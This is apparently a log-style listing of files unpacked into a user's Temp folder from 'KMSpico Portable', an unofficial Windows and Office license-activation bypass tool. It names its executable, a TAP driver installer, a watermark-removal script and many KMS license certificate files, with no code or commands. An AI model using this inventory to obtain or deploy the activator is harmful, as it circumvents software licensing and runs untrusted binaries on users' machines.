    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\PowerPoint\PowerPointVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync\LicenseSetData._1B9F11E3_C85C_4E1B_BB29_879AD2C909E3.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS-pl.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\ExcelVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-RAC-public.xrm-ms (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-RAC-public.xrm-ms (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Standard\LicenseSetData._B13AFB38_CD79_4AE5_9F7F_EED058D750CA.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard\StandardVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\CoreConnectedSingleLanguage (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro\VisioProVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VLKMS1-ul-oob.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher\PublisherVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\GrooveVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Professional (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStdVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Word\WordVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Lync\LicenseSetData._1B9F11E3_C85C_4E1B_BB29_879AD2C909E3.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNote_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPathVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-ul.xrm-ms (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd\VisioStdVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-ul.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\OutlookVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioStd\VisioStdVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\pkeyconfig.xrm-ms (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\enterauthorizationcode.mp3 (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS-pl.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\warning.mp3 (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerStandard\ServerStandard-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS1-pl.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\pkeyconfig-office.xrm-ms (480 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\pkeyconfig-office.xrm-ms (590 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\AccessVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\VisioPro\LicenseSetData._E13AC10E_75D0_4AFF_A0CD_764982CF541C.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd\ProjectStdVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS-pl.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel\LicenseSetData._F7461D52_7C2B_43B2_8744_EA958E0BD09A.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Enterprise\Enterprise-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_ROOT_BRIDGE_TEST.xrm-ms (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd\LicenseSetData._427A28D1_D17C_4ABF_B717_32C780BA6F07.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\RemoveWaterMark.cmd (96 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-RAC-public.xrm-ms (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\CoreConnectedSingleLanguage\CoreConnectedSingleLanguage-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote\LicenseSetData._EFE1F3E6_AEA2_4144_A208_32AA872B6545.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness\SkypeforBusinessVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote\LicenseSetData._EFE1F3E6_AEA2_4144_A208_32AA872B6545.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher\LicenseSetData._00C79FF1_6850_443D_BF61_71CDE0DE305F.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Vestris.ResourceLib.dll (3063 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\EmbeddedIndustry\EmbeddedIndustry-Volume-GVLK-1-ul-rtm.xrm-ms (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS1-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus\ProPlusVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-stil.xrm-ms (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreN\CoreN-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Publisher\PublisherVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPathVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\incomingtransmission.mp3 (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS1-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlusVLReg64.reg (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\WordVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\LicenseSetData._B322DA9C_A2E2_4058_9E4E_F59A6970BD69.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS1-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-ul-oob.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\PublisherVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-pl.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\ReadMe KMSpico Portable.txt (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-BYPASS-RAC-private.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\GrooveVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-KMS1-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectProVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Outlook\LicenseSetData._771C3AFA_50C5_443F_B151_FF2546D863A0.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Professional\Professional-Volume-GVLK-1-ul-rtm.xrm-ms (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Professional\Professional-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerDatacenter\ServerDatacenter-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VLKMS1-pl.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-bridge-office.xrm-ms (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\SkypeforBusiness\SkypeforBusinessVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPathVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectProVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-VL-BYPASS-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Core\Core-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalN\ProfessionalN-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioStd_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\pkeyconfig.xrm-ms (552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Publisher\LicenseSetData._00C79FF1_6850_443D_BF61_71CDE0DE305F.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\StandardVLReg64.reg (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Professional\Professional-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-VLBA-ul.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access\AccessVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-BYPASS-RAC-public.xrm-ms (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\WordVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectStd\ProjectStdVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel\ExcelVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\client-issuance-root.xrm-ms (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Standard\StandardVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel\LicenseSetData._F7461D52_7C2B_43B2_8744_EA958E0BD09A.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\ServerStandard\ServerStandard-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VLKMS1-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\PublisherVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\pkeyconfig-embedded.xrm-ms (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\verified.mp3 (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\PublisherVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-ul-phn.xrm-ms (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint\LicenseSetData._8C762649_97D1_4953_AD27_B7E2C25B972E.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\CoreConnectedSingleLanguage\CoreConnectedSingleLanguage-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Core\Core-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook\OutlookVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word\LicenseSetData._D9F5B1C6_5386_495A_88F9_9AD6B41AC9B3.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\Standard_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Education\Education-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\BusinessN\Security-Licensing-SLC-Component-SKU-BusinessN-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\processing.mp3 (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Core\Core-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\OneNote\OneNoteVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProjectPro\ProjectProVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Excel\ExcelVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\KMSELDI.exe (15420 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\inputok.mp3 (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-VL-KMS-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Enterprise\Enterprise-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Embedded\Security-SPP-Component-SKU-Embedded-VLBA-ul-oob.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver\tap-windows-9.21.0.exe (4793 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\PowerPoint\LicenseSetData._8C762649_97D1_4953_AD27_B7E2C25B972E.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\complete.mp3 (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\affirmative.mp3 (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreN\CoreN-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\OneNote\LicenseSetData._EFE1F3E6_AEA2_4144_A208_32AA872B6545.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\diagnostic.mp3 (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\OutlookVLReg64.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPrem_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStdVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\CoreSingleLanguage\CoreSingleLanguage-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath\LicenseSetData._A30B8040_D68A_423F_B0B5_9CE292EA5A8F.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Core\Core-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
